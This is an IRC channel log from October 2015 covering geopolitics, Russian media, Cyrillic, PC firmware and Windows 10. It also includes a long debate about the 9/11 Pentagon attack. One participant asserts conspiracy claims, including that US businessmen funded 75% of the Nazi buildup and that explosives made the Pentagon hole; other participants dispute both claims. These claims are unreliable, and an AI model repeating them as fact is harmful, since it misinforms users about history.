IRC: #techrights @ FreeNode: October 4th, 2015-October 10th, 2015

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schestowitz	msb_: not humour, just Russian taunting the US	Oct 04 03:45
schestowitz	both are totalitarian oligarchies	Oct 04 03:45
schestowitz	but the US has more overall wealth	Oct 04 03:45
msb_	The US has more weapons, and has murdered far more people in this century.	Oct 04 03:46
schestowitz	I think that russia MIGHT still have more nukes	Oct 04 03:47
schestowitz	but more outdated one	Oct 04 03:47
schestowitz	and probably no H bombs, if any...	Oct 04 03:47
schestowitz	*no>little	Oct 04 03:47
schestowitz	their delivery systems are also likely inferior, as are the submarines and launching pads	Oct 04 03:48
schestowitz	[08:46] <msb_> The US has more weapons, and has murdered far more people in this century.	Oct 04 03:48
schestowitz	Russia murdered more if you extent that to century	Oct 04 03:48
schestowitz	they killed perhaps 3 times as many as the US did	Oct 04 03:48
schestowitz	internally and externally, e.g. Ukraine	Oct 04 03:48
schestowitz	So the US is still miles better to live in than Russia	Oct 04 03:49
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schestowitz	Kremlin media doesn't like to talk about Russia, except when it makes Putin look like a hero	Oct 04 03:49
schestowitz	Using RT to learn about Russia and the US is like using Iranian/Syrian press to learn about Israel or vice versa	Oct 04 03:50
schestowitz	You might be better off turning even to Chinese media, it's not as US-hostile	Oct 04 03:50
msb_	Are you taking into account all the people murdered by the WW2 Nazis, who were 75% financed by US businessmen.	Oct 04 03:50
schestowitz	That's not the fault of the US (not any more than the British)	Oct 04 03:50
schestowitz	Austria and Germany mostly	Oct 04 03:51
schestowitz	maybe to some degree Italy and a Nazi-sympathising (to the anti-Semitic extent) France	Oct 04 03:51
schestowitz	It's a stretch to blame Nazi death on the US	Oct 04 03:51
msb_	http://cosmicpenguin.com/#US_Nazis	Oct 04 03:52
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schestowitz	Financial support	Oct 04 03:52
schestowitz	Not just a US thing	Oct 04 03:52
schestowitz	There are German 'expatriots' in other countries	Oct 04 03:52
schestowitz	What about Argentina's stance in WW2?	Oct 04 03:52
schestowitz	Or Japan's for that matter?	Oct 04 03:53
schestowitz	Try painting Nazism as a US thing	Oct 04 03:53
schestowitz	it's not	Oct 04 03:53
msb_	75% came from US businessmen, in order to have Hitler destr0y socialism.	Oct 04 03:53
schestowitz	There were some, among the US population, who not only sympathised with the Nazis party but also made material support	Oct 04 03:53
schestowitz	Inc. Bush the grandpa	Oct 04 03:54
schestowitz	So 75% of the Nazis "budget" was US?	Oct 04 03:54
msb_	And others. Read the linked articles.	Oct 04 03:54
msb_	yes	Oct 04 03:54
schestowitz	And the tanks?	Oct 04 03:54
schestowitz	And machine guns?	Oct 04 03:54
schestowitz	No german labour?	Oct 04 03:54
schestowitz	No German material/resources?	Oct 04 03:54
msb_	construction paid for with that money	Oct 04 03:54
schestowitz	Did the US send planes to German?	Oct 04 03:54
schestowitz	They don't need money to make weapons	Oct 04 03:55
schestowitz	They have the material and the forced labour	Oct 04 03:55
schestowitz	inc. in camps, in France, in fields	Oct 04 03:55
schestowitz	They could just look all the resources in occupied territories	Oct 04 03:55
schestowitz	The US did not CAUSE the nazi 'success'	Oct 04 03:55
schestowitz	It may have /contributed/ to it	Oct 04 03:55
schestowitz	But quit framing the US as the CAUSE of it	Oct 04 03:55
schestowitz	Because it's just dumb	Oct 04 03:55
msb_	Read the references.	Oct 04 03:56
schestowitz	And the US govt. just met some germany officials, didn't make them strong allies	Oct 04 03:56
schestowitz	Not any more than the British did...	Oct 04 03:56
msb_	The US govt didn't do it. Private businessmen did.	Oct 04 03:57
schestowitz	How many people in total?	Oct 04 03:57
schestowitz	hundreds? Thousands?	Oct 04 03:57
msb_	Non in my memory.	Oct 04 03:57
schestowitz	The US had over 100 million at the time, maybe even 200	Oct 04 03:57
msb_	Read the references.	Oct 04 03:57
schestowitz	I did ages ago	Oct 04 03:57
schestowitz	it talks about super-wealthy citizens sending money to political 'causes' in Germany	Oct 04 03:57
schestowitz	Many still do	Oct 04 03:58
schestowitz	and not just in Germany	Oct 04 03:58
schestowitz	If they do this in Iran, Syria etc. they might get arrested for "aiding/abetting terrorism"	Oct 04 03:58
schestowitz	Still, such people would not make US complicit in ISIS	Oct 04 03:59
schestowitz	Just as some French people who join ISIS doesn't make France as a whole liable for it	Oct 04 03:59
msb_	No, US is complicit in ISIS because it created Mujahideen to harass Russia.	Oct 04 04:00
msb_	Mujahideen became Al Qaeda, which became ISIS.	Oct 04 04:00
schestowitz	You know I'm very critical of US/UK foreign policy, but if this channel is viewed as claiming the US was the supporter of Nazi Germany, then you just discredit the whole lot	Oct 04 04:00
schestowitz	But US does not support ISIS	Oct 04 04:00
schestowitz	It supported the Mujahideen	Oct 04 04:01
msb_	US has been sending thousands of armed jihadists into Syria for years, knowing that almost all defect to ISIS.	Oct 04 04:01
schestowitz	And those whom it sent to Syria	Oct 04 04:01
schestowitz	Some join Al-Nusra	Oct 04 04:01
schestowitz	Or even ISIS, worse than AQ by some standards	Oct 04 04:01
schestowitz	it doesn't mean this was all along the intention or that the end outcome is viewed as "desirable"	Oct 04 04:01
schestowitz	Some Brits also supported Hitler well before the war	Oct 04 04:01
schestowitz	Doesn't mean they support invasions of Czechoslovakia and Poland	Oct 04 04:02
schestowitz	[09:01] <msb_> US has been sending thousands of armed jihadists into Syria for years, knowing that almost all defect to ISIS.	Oct 04 04:02
schestowitz	No, they found that out around 2014	Oct 04 04:02
schestowitz	WSJ wrote about that too, so it's no secret	Oct 04 04:02
schestowitz	and now they have a $500ml budget for this and they have trained no more than maybe 60 or 600 people last I read...	Oct 04 04:03
schestowitz	Because they're super-picky	Oct 04 04:03
schestowitz	Having done much harm already, not by intention	Oct 04 04:03
schestowitz	They were desperate to remove Assad, and maybe later his allies in Iran	Oct 04 04:03
msb_	The US intention was to overthrow Assad.	Oct 04 04:03
schestowitz	All the other Middle Eastern countries are already in Western pockets	Oct 04 04:03
schestowitz	Even Yemen, until recently when they lost control	Oct 04 04:04
schestowitz	Lebanon is OK with the US, and it's partly xian too	Oct 04 04:04
schestowitz	Except the political factions of Hezbollah	Oct 04 04:04
schestowitz	who too are said to be aligned with Iran/Syria	Oct 04 04:04
schestowitz	So the US wants to eliminate this element	Oct 04 04:04
schestowitz	Other countries that don't bend over for Uncle Sam are N Korea and Russia	Oct 04 04:05
schestowitz	Maybe venezuela and ecador, where it's "complicated"....	Oct 04 04:05
msb_	But you tried to vague away the discussion about US and Hitler, by making irrelevant statements. US businessmen gave Hitler 75% of the financing for his military buildup, and the purpose was to have him destr0y socialism in Russia and Europe.	Oct 04 04:05
schestowitz	world domination is the goal	Oct 04 04:05
schestowitz	and Syria's government is more aligned with Russian interests, as did Ukraine until the EU expanded like an expire to the East	Oct 04 04:06
schestowitz	[09:05] <msb_> But you tried to vague away the discussion about US and Hitler, by making irrelevant statements. US businessmen gave Hitler 75% of the financing for his military buildup, and the purpose was to have him destr0y socialism in Russia and Europe.	Oct 04 04:06
schestowitz	Bollox	Oct 04 04:06
schestowitz	75% of Nazis budget is from the US?	Oct 04 04:06
schestowitz	You must be dreaming	Oct 04 04:07
msb_	The goal is also to eliminate socialism, so the ultra-rich can keep their 99% profits.	Oct 04 04:07
msb_	It's in the references I link to.	Oct 04 04:07
schestowitz	The overall assets/wealth of ther German country was more than what all these US funders had combined in their bank, by orders of magnitude	Oct 04 04:07
schestowitz	GDP of germany back then was still high, hyperinflation is overinflated, as if inflation, as some economists will say	Oct 04 04:08
schestowitz	as long as locals are able to work and produce, they'll live	Oct 04 04:08
schestowitz	irrespective of currencies	Oct 04 04:08
schestowitz	germany didn't depend much on global trade for food	Oct 04 04:08
schestowitz	unlike the UK perhaps	Oct 04 04:08
schestowitz	it almost ran low on food towards the end of the war because u-boats sank supplies	Oct 04 04:08
schestowitz	[09:07] <msb_> The goal is also to eliminate socialism, so the ultra-rich can keep their 99% profits.	Oct 04 04:09
schestowitz	Not the goal is at question	Oct 04 04:09
schestowitz	the proportion of funding	Oct 04 04:09
schestowitz	you said US provided 75% of Nazi funds	Oct 04 04:09
schestowitz	which is patently BS	Oct 04 04:09
msb_	Regarding RT, it presents accurate information.	Oct 04 04:09
schestowitz	right next to "Hitler is an alien" or Russia's Stalin is a US agent	Oct 04 04:10
schestowitz	you're dodging the topic now	Oct 04 04:10
msb_	Straw-man	Oct 04 04:10
schestowitz	RT is not accurate information	Oct 04 04:10
schestowitz	It's nationalist propaganda	Oct 04 04:10
schestowitz	it's good for covering some US blunders at times	Oct 04 04:10
schestowitz	esp. when no other site which is decent does so	Oct 04 04:10
schestowitz	RT also invites US dissidents	Oct 04 04:10
msb_	Give examples of falsehoods.	Oct 04 04:10
schestowitz	so this is where they get a large TV audience to express their views	Oct 04 04:11
schestowitz	Tell me when RT does an interview with Russian dissidents	Oct 04 04:11
schestowitz	Show me now...	Oct 04 04:11
schestowitz	Did they ever even interview the fames Pussy Riot?	Oct 04 04:11
schestowitz	*famed	Oct 04 04:11
schestowitz	bias by omission in RT	Oct 04 04:11
msb_	I wasn't watching it then.	Oct 04 04:12
schestowitz	gotta go now..	Oct 04 04:12
schestowitz	https://twitter.com/Zeipt/status/650592990508003328	Oct 04 04:51
-TechrightsBot-tr/#techrights-@Zeipt: @schestowitz take a look to rbc.ru (russian only, but unfortunately more objective than any others there)		Oct 04 04:51
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schestowitz	I have just taken a look at rbc.ru - is it a large mainstream/mass media network or just a marginalised independent site with budget?	Oct 04 04:52
schestowitz	https://twitter.com/schestowitz/status/650590217221591040	Oct 04 04:52
-TechrightsBot-tr/#techrights-@schestowitz: Is there any >large< news network in #russia that actually dares to criticise the (Russian) Establishment much? Any in English language?		Oct 04 04:52
schestowitz	https://twitter.com/Zeipt/status/650593758967406592	Oct 04 04:53
-TechrightsBot-tr/#techrights-@Zeipt: @schestowitz also there is https://t.co/BXOkYRgxk3		Oct 04 04:53
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schestowitz	I know of that one, but still, not maintream	Oct 04 04:53
schestowitz	I know of that one, but still, not mainstream	Oct 04 04:53
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schestowitz	https://twitter.com/Zeipt/status/650595715568246784	Oct 04 04:58
-TechrightsBot-tr/#techrights-@Zeipt: @schestowitz "we have to public all the things, and if government begin turture us, we can step back, but we have to public all the things")		Oct 04 04:58
schestowitz	https://twitter.com/Zeipt/status/650595204131479552	Oct 04 05:05
-TechrightsBot-tr/#techrights-@Zeipt: @schestowitz it is largest financial/buisness/analytic network. I dont know much abt their budget. But I know their editor's princip		Oct 04 05:05
schestowitz	https://twitter.com/Zeipt/status/650596619319164929	Oct 04 05:07
-TechrightsBot-tr/#techrights-@Zeipt: @schestowitz there no large/mainstream one. All are under control of @roskomnadzor_rf, ФСБ, and under full censorship.		Oct 04 05:07
schestowitz	https://twitter.com/Zeipt/status/650597401649115136	Oct 04 05:07
-TechrightsBot-tr/#techrights-@Zeipt: @schestowitz russians cant even access the mobile and wifi internet without identification...		Oct 04 05:07
MinceR	094735 < schestowitz> and probably no H bombs, if any...	Oct 04 05:23
MinceR	they do have those	Oct 04 05:23
MinceR	https://en.wikipedia.org/wiki/Tsar_bomba	Oct 04 05:23
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schestowitz	hydrogen? Let's see...	Oct 04 05:45
schestowitz	ah yes, "AN602 hydrogen bomb"	Oct 04 05:46
schestowitz	they now get 50mt TNT yield in much smaller sizes	Oct 04 05:48
schestowitz	didn't know tsar bomba was 27 tons, 2 meter wide, 8 meter long	Oct 04 05:48
schestowitz	that's like dumping a semi-trailer	Oct 04 05:48
schestowitz	clumsy and heavy	Oct 04 05:48
MinceR	:)	Oct 04 05:49
schestowitz	https://twitter.com/Metztli_IT/status/650609087831343105	Oct 04 05:53
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schestowitz	relative=sister in law	Oct 04 05:54
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msb_	RT is now showing a very detailed documentary on the 2010 Deepwater Horizon oilwell blowout that resulted in the worst environmental disaster in history.	Oct 04 07:50
msb_	wiki: "Britain, China, France, Russia and the United States are known to possess MIRV missiles." IIRC, each independent H-bomb is in the range of 100-600KT.	Oct 04 07:58
msb_	"<schestowitz> bias by omission in RT" Sure. All sources omit things. But neither schestowitz nor MinceR has been able to cite any information that RT has broadcast that is false. Whereas US corporate media actually _lie_ about important matters constantly.	Oct 04 08:03
msb_	About two weeks ago, one of the regular programs on RT had a journalist who blamed Putin for the deaths of 8,000 people in one of Ukraine's Eastern regions, because he had said he would protect them, and when they stood up and said they wanted a degree of autonomy, and the Nazi Ukraine govt began shelling them, Putin did nothing.	Oct 04 08:06
msb_	I think the same show yesterday had three journalists talking about Assad. One was an a-hole from the US rightwing Heritage Foundation who said that Assad was a "genocidal monster" who dropped "barrel bombs". Wiki says the US dropped barrel bombs on the Vietnamese, and Israel dropped them on the Palestinians.	Oct 04 08:17
msb_	They're just a cheap kind of bomb in which the filling can be chosen arbitrarily.	Oct 04 08:19
msb_	But even the a-hole said that Assad (who was re-elected in 2014) was necessary rid Syria of ISIL and Al Qaeda.	Oct 04 08:22
msb_	At MinceR's suggestion I asked a Russian guy if he felt like he is living in a dictatorship. He said that Russian laws on speech are overly restrictive, but are enforced only infrequently.	Oct 04 08:25
msb_	Oil spill docu: horrible pictures of shrimps with tumors growing out of them, due to the "Corexit" dispersant sprayed to hide the oil. US govt official filmed saying that there was no oil on the sea floor. Movies shot out of a mini-sub showed the sea floor totally covered with oil. This from a US TV station.	Oct 04 08:53
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XRevan86	Ксения == Ksenia	Oct 04 09:02
XRevan86	not Zenia	Oct 04 09:02
msb_	XRevan86: This is all the fault of the Evil Empire (Russia) for having two or three different ways to spell the same word, and for re-using the Roman/English alphabet with some of the letters turned backwards and pronounced differently. That's just plain wrong!	Oct 04 09:06
XRevan86	msb_: Russian mostly has only one way of spelling %)	Oct 04 09:07
XRevan86	in cyrillic	Oct 04 09:07
XRevan86	problem is that in English "X" in the beginning of the word can mean "Z"	Oct 04 09:08
XRevan86	and mostly does	Oct 04 09:08
XRevan86	with few exceptions	Oct 04 09:08
msb_	Xenophobes are afraid of Xerox machines!	Oct 04 09:09
XRevan86	Fun fact: photocopies in Russian are called kserocopies	Oct 04 09:10
msb_	LOL!	Oct 04 09:10
XRevan86	and device itself: kserox :)	Oct 04 09:12
msb_	When I hear a German guy talk, I (knowing nothing of German), think it sounds like he's saying he's gonna kill me.	Oct 04 09:12
msb_	But Russians, I don't know what to make of them.	Oct 04 09:13
msb_	XBox is evil!	Oct 04 09:13
msb_	French or Spanish, we can understand every second to fourth word.	Oct 04 09:14
msb_	But one Russian phrase is very clear: Tsar Bomba	Oct 04 09:14
msb_	I'll bet that filled the shorts of some US military guys when they found out about it!	Oct 04 09:16
XRevan86	msb_: %)	Oct 04 09:19
XRevan86	msb_: Russian is not a Roman language so no wonder.	Oct 04 09:19
msb_	That's exactly it. If old Cyril had known and liked French or Latin, he would have made it much easier.	Oct 04 09:21
XRevan86	msb_: I'm not talking about alphabet :)	Oct 04 09:24
XRevan86	msb_: and old Cyrill is older than France %)	Oct 04 09:25
XRevan86	but younger than Rome Empire	Oct 04 09:27
schestowitz	https://twitter.com/schestowitz/status/650590217221591040	Oct 04 09:29
-TechrightsBot-tr/#techrights-@schestowitz: Is there any >large< news network in #russia that actually dares to criticise the (Russian) Establishment much? Any in English language?		Oct 04 09:29
msb_	So Cyrill used the Roman alphabet, but he didn't know how to pronounce the letters.	Oct 04 09:30
XRevan86	msb_: They probably had no idea Latin alphabet existed.	Oct 04 09:30
XRevan86	msb_: Cyrillic is based on Greek alphabet.	Oct 04 09:31
msb_	schestowitz: Russia doesn't need those, the US has plenty. MinceR is fond of directing us to articles in Radio Free Europe! But every other corporate US network reports on and smears Russia, according to the US govt line.	Oct 04 09:34
msb_	schestowitz: And as I said, I saw an RT program in which Putin was criticized.	Oct 04 09:35
schestowitz	https://twitter.com/AJimenez1988/status/650665843441934337	Oct 04 09:39
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schestowitz	how so?	Oct 04 09:55
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schestowitz	> Dear Roy,	Oct 04 12:00
schestowitz	>	Oct 04 12:00
schestowitz	>	Oct 04 12:00
schestowitz	>	Oct 04 12:00
schestowitz	> I just read your above-mentioned blog post. Specifically with regard to transparency and democracy in the UPC context, do you know my papers “Law-making in camera” (accessible here) and “The sub-sub-suboptimal compromise of the EU Parliament” (accessible here) from 2013? Having a look might be worthwhile.	Oct 04 12:00
schestowitz	Thanks, I shall have a look in the coming back as I've just returned home after 2 weeks.	Oct 04 12:01
cubexyz	people are rightly suspicious of Vpro but AMD has DASH which is similar:	Oct 04 12:06
cubexyz	http://www.maxhost.org/other/amd-dash.jpg	Oct 04 12:07
cubexyz	you can easily get an AMD motherboard without DASH, it's just one more thing to watch out for	Oct 04 12:08
cubexyz	understanding the PC has got a lot harder	Oct 04 12:13
cubexyz	there's a bit of a bias with coreboot developers	Oct 04 12:18
cubexyz	basically server motherboards are getting much more attention	Oct 04 12:18
cubexyz	data centres and server farms get higher priority thus server motherboards get more attention	Oct 04 12:19
cubexyz	coreboot has spawned distributions	Oct 04 12:21
cubexyz	SageBIOS for one	Oct 04 12:22
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cubexyz	from an actual Microsoft forum:	Oct 04 14:43
schestowitz	...	Oct 04 14:43
cubexyz	"This new, 'great' operating system has ruined my computer. After a short period of time, my computer stops working. Nothing. Not a thing works. I am forced to do hard restarts several times a day. This is terrible. Windows 10 has ruined my computer. I am devastated."	Oct 04 14:44
schestowitz	link?	Oct 04 14:44
schestowitz	I want to link to that	Oct 04 14:44
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cubexyz	schestowitz, keep reading the comments below that one	Oct 04 14:48
cubexyz	it gets even more desperate	Oct 04 14:49
cubexyz	"trying to do a recovery now for 3 hours"	Oct 04 14:50
cubexyz	at least one can walk into most retail computer shops can get a chromebook	Oct 04 14:54
cubexyz	a fully working computer with coreboot	Oct 04 14:54
cubexyz	the fact of the matter is I can't do that with a desktop locally	Oct 04 14:55
cubexyz	there was one shop that preloaded BSD, but he closed shop	Oct 04 14:55
schestowitz	cheers, cubexyz	Oct 04 14:55
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cubexyz	just learned about free geek:	Oct 04 14:59
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cubexyz	used computers preloaded with Linux Mint	Oct 04 15:01
cubexyz	there's definitely a trend here	Oct 04 15:01
cubexyz	the local bestbuy was an utter disappointment	Oct 04 15:10
cubexyz	nothing but windows 10 laptops	Oct 04 15:10
schestowitz	cubexyzwhat is the significance of that?	Oct 04 15:19
schestowitz	Just caught up with it...	Oct 04 15:20
schestowitz	Whilst away	Oct 04 15:20
schestowitz	cubexyzdoes this look like a plane hit the pentagon:Sep 14 10:18	Oct 04 15:20
schestowitz	cubexyzhttp://www.maxhost.org/other/pentagon-9-11.jpgSep 14 10:19	Oct 04 15:20
schestowitz	cubexyzshouldn't there be more debris?	Oct 04 15:20
schestowitz	Try another angle	Oct 04 15:20
schestowitz	https://ixquick-proxy.com/do/show_picture.pl?l=english&cat=pics&c=pf&q=picture+of+pentagon+after+hit&h=1500&w=2813&th=84&tw=160&fn=Firefighters_struggle_to_contain_the_fire%252C_after_the_September_11%252C_2001%252C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg&fs=994.1%20k&el=boss_pics_2,boss_pics_1&tu=https:%2F%2Fs3-eu5.ixquick.com%2Fcgi-bin%2Fserveimage%3Furl%3Dhttp%253A%252F%252Ftse2.mm.bing.net%252Fth%253Fid%253DOIP.	Oct 04 15:20
schestowitz	M5649a5df5023efbef3cf221fa81f396aH0%2526pid%253D15.1%2526H%253D84%2526W%253D160%26sp%3Dac6bf89334669210bc5c941f059b78bd&rl=NONE&u=https:%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile:Firefighters_struggle_to_contain_the_fire,_after_the_September_11,_2001,_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg&udata=35c318f309186cb5d15ac2dc1521c447&rid=LJLOONTSQMQP598OQTKUE&oiu=https:%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2F0%2F0d%	Oct 04 15:20
schestowitz	2FFirefighters_struggle_to_contain_the_fire%252C_after_the_September_11%252C_2001%252C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg	Oct 04 15:20
cubexyz	holy, is that one URL?	Oct 04 15:20
schestowitz	sorry https://upload.wikimedia.org/wikipedia/commons/thumb/0/0d/Firefighters_struggle_to_contain_the_fire%2C_after_the_September_11%2C_2001%2C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg/800px-Firefighters_struggle_to_contain_the_fire%2C_after_the_September_11%2C_2001%2C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg	Oct 04 15:20
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schestowitz	cubexyz: yes, anonymised in a way	Oct 04 15:21
schestowitz	izquick	Oct 04 15:21
schestowitz	always ask what one shows you	Oct 04 15:21
schestowitz	sometimes people show photos from syria regarding gaza	Oct 04 15:21
schestowitz	or something which does not represent the caption	Oct 04 15:21
schestowitz	esp. in the "turther" debates	Oct 04 15:21
schestowitz	or accelerated videos	Oct 04 15:21
schestowitz	to support the "freefall speed" theory	Oct 04 15:21
cubexyz	schestowitz, I'm not doubting something hit the Pentagon but there's no pics of debris of airplane seats, wings, etc	Oct 04 15:22
cubexyz	I just thought it was very odd	Oct 04 15:22
cubexyz	unless all the debris ended up inside the building	Oct 04 15:22
schestowitz	original source was http://www.defenseimagery.mil/imagery.html?&guid=73e7382459a00b2d05e58951e458289661880405	Oct 04 15:22
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schestowitz	http://i.usatoday.net/news/_photos/2011/09/08/Editorial-Success-and-excess-since-911-ALC4BLE-x.jpg	Oct 04 15:23
schestowitz	cubexyz: maybe the wings got slipped from the pressure and later picked up	Oct 04 15:23
schestowitz	although they're strongly connected to the torso of the plane	Oct 04 15:23
schestowitz	the wings are the hardest and most crucial part	Oct 04 15:24
cubexyz	schestowitz, there was a news report about it too... the reporter talks about the lack of debris	Oct 04 15:24
schestowitz	but maybe the pentagon is made of strong material with extra metal	Oct 04 15:24
schestowitz	let me check	Oct 04 15:24
schestowitz	if the wing get clipped they can carry on with the plane into the path made inside the building	Oct 04 15:24
schestowitz	which is quite tall, more than the plane	Oct 04 15:24
schestowitz	i once saw the pentagon for real, when I visited washington	Oct 04 15:25
schestowitz	try to envision what would happen to a light plane when entering an armoured building	Oct 04 15:25
schestowitz	and where it would end up	Oct 04 15:25
cubexyz	ah, found it:	Oct 04 15:25
schestowitz	the width of the plane is maybe 5 meters	Oct 04 15:26
cubexyz	http://www.maxhost.org/other/9-11-cnn.mkv	Oct 04 15:26
cubexyz	snopes talks about it as well	Oct 04 15:29
cubexyz	just a Boeing 757 crashing into a building would leave a lot of airplane debris all over the place	Oct 04 15:29
schestowitz	A missile would not have had such an effect, I don't think	Oct 04 15:29
schestowitz	it wouldn't have the power and velocity to slice part the building	Oct 04 15:30
schestowitz	and if it's extremely powerful, it would damage the entire pentagon	Oct 04 15:30
schestowitz	so it look like heavyweight impact to me	Oct 04 15:30
schestowitz	I'd expect the body of the plane to be caught inside the building	Oct 04 15:31
cubexyz	http://www.snopes.com/rumors/pentagon.asp	Oct 04 15:31
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schestowitz	not scattered because it has momentum going forward	Oct 04 15:31
cubexyz	yes, that must be it	Oct 04 15:31
schestowitz	like a long metal pipe	Oct 04 15:31
schestowitz	just simulate also the impacy of planes in WTC	Oct 04 15:31
schestowitz	occam's razer	Oct 04 15:32
schestowitz	impact, hole, going all in, melting gear inside, causing chain effer until the girders can't take it anymore	Oct 04 15:32
schestowitz	reproducible, twice, with two planes, same structure	Oct 04 15:32
schestowitz	same planes AFAIK	Oct 04 15:32
schestowitz	In pentagon, no plane part can be left _behind_	Oct 04 15:33
schestowitz	because of the momentum	Oct 04 15:33
schestowitz	unless the building ctapults something back	Oct 04 15:33
schestowitz	and motion sideways after the body of the plane already broke a hole through the building is not like	Oct 04 15:34
schestowitz	unless only one side of the plane's cockpit hits some super strong metal	Oct 04 15:34
schestowitz	which bounces is sideways, a little...	Oct 04 15:34
schestowitz	missiles explode on impact	Oct 04 15:35
schestowitz	bombs like the 500kg ones that F* planes drop make a hold through the building	Oct 04 15:35
schestowitz	go to the bottom and the centre (core), then explode	Oct 04 15:35
schestowitz	but it wouldn't work sideways	Oct 04 15:35
cubexyz	the four planes were: 767-200ER, another 767-200ER, 757-200 (pentagon), and the 4th one was also a 757-200	Oct 04 15:35
schestowitz	the idea is to devastate the entire building	Oct 04 15:35
schestowitz	usually leaving a massive deep hole where the building used to stand	Oct 04 15:36
schestowitz	look up some photos	Oct 04 15:36
schestowitz	so the missile theory wouldn't be consistent with a deep path ripping the building into two	Oct 04 15:36
schestowitz	the 757 isn't as big	Oct 04 15:37
schestowitz	it's big, but not very wiide	Oct 04 15:37
schestowitz	I think 6 seater per roq	Oct 04 15:37
schestowitz	*row	Oct 04 15:37
schestowitz	so around 5 meter wide in total	Oct 04 15:37
schestowitz	a strong building would smash the wings	Oct 04 15:37
schestowitz	it's made of light but strong material	Oct 04 15:38
schestowitz	you wouldn't expect it to drag through 50 meters of brick and metal	Oct 04 15:38
schestowitz	not without breaking, maybe folding backgrounds	Oct 04 15:38
schestowitz	so then you'd expect fire at the side of the hole, where the engines used to be	Oct 04 15:38
schestowitz	http://www.maxhost.org/other/pentagon-9-11.jpg	Oct 04 15:39
schestowitz	Looking from this angle it seems possible that the third row of offices/pillars may be been impacted	Oct 04 15:39
schestowitz	but it's too tall to be able to see the plane	Oct 04 15:39
schestowitz	Look at http://i.usatoday.net/news/_photos/2011/09/08/Editorial-Success-and-excess-since-911-ALC4BLE-x.jpg	Oct 04 15:40
schestowitz	compare the height of vehicles to the building	Oct 04 15:40
schestowitz	it's a tall building	Oct 04 15:40
schestowitz	so a look from above can be misleading, use trucks to understand the scale of the plane and where it can fit	Oct 04 15:40
schestowitz	anyway, enough of that... I just saw msb_ pushing this old discussion again in the logs	Oct 04 15:41
cubexyz	I think you've cleared it up :)	Oct 04 15:41
schestowitz	"msb__http://www.judicialwatch.org/archive/2006/flight77-1.mpg That video, supposedly from a pentagon surveillance camera, shows a white cylindrical object approaching the building at the right edge of the screen around 87 seconds in. I thought to compare its height with the height of the building, but it's hard to tell how far it is from the camera."	Oct 04 15:42
schestowitz	The plane is still and short compared to the vast building	Oct 04 15:42
schestowitz	and even msb_, who insists WTC (both totwers) is "controlled demolition", does not believe there is coverup re pentagon	Oct 04 15:43
schestowitz	"The P is 77ft high, and a 757about 12 ft high. So the object height is approximately equal to the height of a 757, 1/7th the height of the building."	Oct 04 15:43
schestowitz	-msd	Oct 04 15:43
schestowitz	msd	Oct 04 15:43
schestowitz	msb even	Oct 04 15:43
schestowitz	so, like I said, at first glance it's shocking	Oct 04 15:44
schestowitz	but a top-down view is misleading	Oct 04 15:44
schestowitz	it doesn't do justice to scale differences	Oct 04 15:44
schestowitz	you'd need to stack up 7 757 planes on top of each other to reach the pentagon's height	Oct 04 15:44
schestowitz	why are we still talking about 9/11 here?	Oct 04 15:46
schestowitz	I keep seeing that the whole day on the 14th was a chat about msb_'s nonsense	Oct 04 15:46
schestowitz	and he has been doing that for years	Oct 04 15:46
schestowitz	discrediting this forum	Oct 04 15:46
cubexyz	I only was curious about the lack of airplane debris, now I'm pretty well done talking about it :)	Oct 04 15:47
cubexyz	mostly these days I talk about BIOS source code and distros	Oct 04 15:48
schestowitz	well, maybe some people are so demanding that they'll ask for photos of the corpses of the pilot and flight attendants	Oct 04 15:48
schestowitz	"show/prove or it didn't happen"	Oct 04 15:48
schestowitz	cubexyz: I see some funny links from MinceR in the logs	Oct 04 15:49
schestowitz	I check in case I missed something while away	Oct 04 15:49
cubexyz	funny links?	Oct 04 15:49
cubexyz	sometimes I don't really paid much attention to non-tech discussions	Oct 04 15:49
schestowitz	http://www.maxhost.org/other/keytronic-trackball-keyboard.jpg	Oct 04 15:50
schestowitz	eww... I remember those.	Oct 04 15:50
schestowitz	http://www.maxhost.org/other/mouse-with-lots-of-buttons.png	Oct 04 15:50
schestowitz	This might actually work, but applications are built for these	Oct 04 15:50
schestowitz	if ported to OSuX, they might also have to assume one button	Oct 04 15:50
schestowitz	long press for menu, no second button	Oct 04 15:51
schestowitz	"cubexyzstallman doesn't like the term 'intellectual property'"	Oct 04 15:53
schestowitz	"XFaCEcubexyz: that's the point of the article :P"	Oct 04 15:53
schestowitz	Well, coming from the guy who called his party "Pirate party"	Oct 04 15:53
schestowitz	reinforcing the pirate analogy/stereotype, or trying to tame it	Oct 04 15:53
schestowitz	"	Oct 04 15:57
schestowitz	cubexyzI don't understand Ken Starks going on about windows 10 Sep 15 06:16	Oct 04 15:57
schestowitz	cubexyzFOSS people need to talk about FOSS not windows 10	Oct 04 15:57
schestowitz	"	Oct 04 15:57
schestowitz	That may not be enough	Oct 04 15:57
schestowitz	speaking about what's wrong with what people CURRENTLY use can help reinforce issues they experiences	Oct 04 15:57
schestowitz	*ced	Oct 04 15:57
schestowitz	like dealing with malware	Oct 04 15:57
schestowitz	MinceR: https://i.imgur.com/uouetAb.jpg maybe better for the ignorant	Oct 04 15:58
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schestowitz	based in part on cubelog logs	Oct 04 15:58
schestowitz	"	Oct 04 16:00
schestowitz	cubexyzsocialism is a good thingSep 16 03:39	Oct 04 16:00
schestowitz	cubexyznot sure why the American politicians think it's a dirty word	Oct 04 16:00
schestowitz	"	Oct 04 16:00
schestowitz	It's bad for rich people	Oct 04 16:00
schestowitz	And rich people fund US politicians	Oct 04 16:00
schestowitz	If it's bad for the 1%, then politicians will say it's bad "for America['s owners]"	Oct 04 16:01
msb_	Obviously something hit the Pentagon, but IMO there's insufficient evidence to determine what it was. Problems with a 757: 1. very little debris. The Pentagon was built very solidly, so a lot of 757 debris should have landed outside. It didn't. 2. A first responder, who went in before the fire started, reported seeing no passenger chairs. These are built very solidly, designed to withstand 12G or so. And they were not found	Oct 04 16:01
msb_	outside. 3. The alleged exit hole in the inner wall of the outer ring of the pentagon could not have been made by any part of the plane, since there were columns in the way: http://cosmicpenguin.com/911/images/asce-illus-2.gif The hole looks exactly like a circle of detcord (explosive rope) was hung on the inside of the wall and detonated.	Oct 04 16:01
